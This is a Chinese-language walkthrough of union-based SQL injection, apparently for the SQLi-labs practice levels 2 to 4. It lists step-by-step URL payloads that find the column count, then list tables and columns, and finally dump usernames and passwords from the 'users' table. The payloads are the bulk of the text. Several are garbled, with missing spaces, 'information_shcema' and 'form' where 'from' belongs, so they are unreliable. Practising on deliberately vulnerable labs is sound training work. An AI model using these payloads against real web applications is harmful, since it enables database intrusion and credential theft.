1.?id=1orderby4--+ 2.?id=-1unionselect1,2,3--+ 3.?id=-1unionselect1,database(),3--+ 4.?id=-1unionselect1,group_concat(table_name),3from information_schema.tables where table_schema='security'--+ 5.?id=-1unionselect1,group_concat(column_name),3from information_shcema.columns where table_schema=database() and table_name='users'--+ 6.?id=-1unionselect1,group_concat(concat_ws(0x23,username,password)),3 form users --+
可以判断为数字型注入 确定属性列数目 使用?id=1 order by 数字 --+不断尝试数字最大值 可以看到列数最大为三
确定回显属性
1
?id=-1 union select 1,2,3 --+
回显属性为2,3
查找数据库 看到数据库名:security
1
?id=-1 union select 1,database(),3 --+
查看表名
1
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名
1
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
获取字段信息
1
?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+
二、第三关
1 2 3 4 5 6
1.?id=1') order by 4 --+ 2.?id=-1 ') unionselect1,2,3--+ 3.?id=-1') union select 1,database(),3 --+ 4.?id=-1 ') unionselect1,group_concat(table_name),3from information_schema.tables where table_schema='security'--+ 5.?id=-1') union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+ 6.?id=-1 ') unionselect1,group_concat(concat_ws(0x23,username,password)),3 form users --+
本题与之前的题目的区别就在于闭合符号的不同这里使用:')来进行闭合。题目思路大概都差不多着重讲解一下起初如何判断 可以看到无论是 and 1=1 --+还是and 1=2 --+ 回显正常
?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名
1
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
获取字段信息
1
?id=-1' )union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+
三、第四关
1 2 3 4 5 6
1.?id=1 ") order by 4 --+ 2.?id=-1 ") unionselect1,2,3--+ 3.?id=-1 ") union select 1,database(),3 --+ 4.?id=-1 ") unionselect1,group_concat(table_name),3from information_schema.tables where table_schema='security'--+ 5.?id=-1 ") union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+ 6.?id=-1 ") unionselect1,group_concat(concat_ws(0x23,username,password)),3 form users --+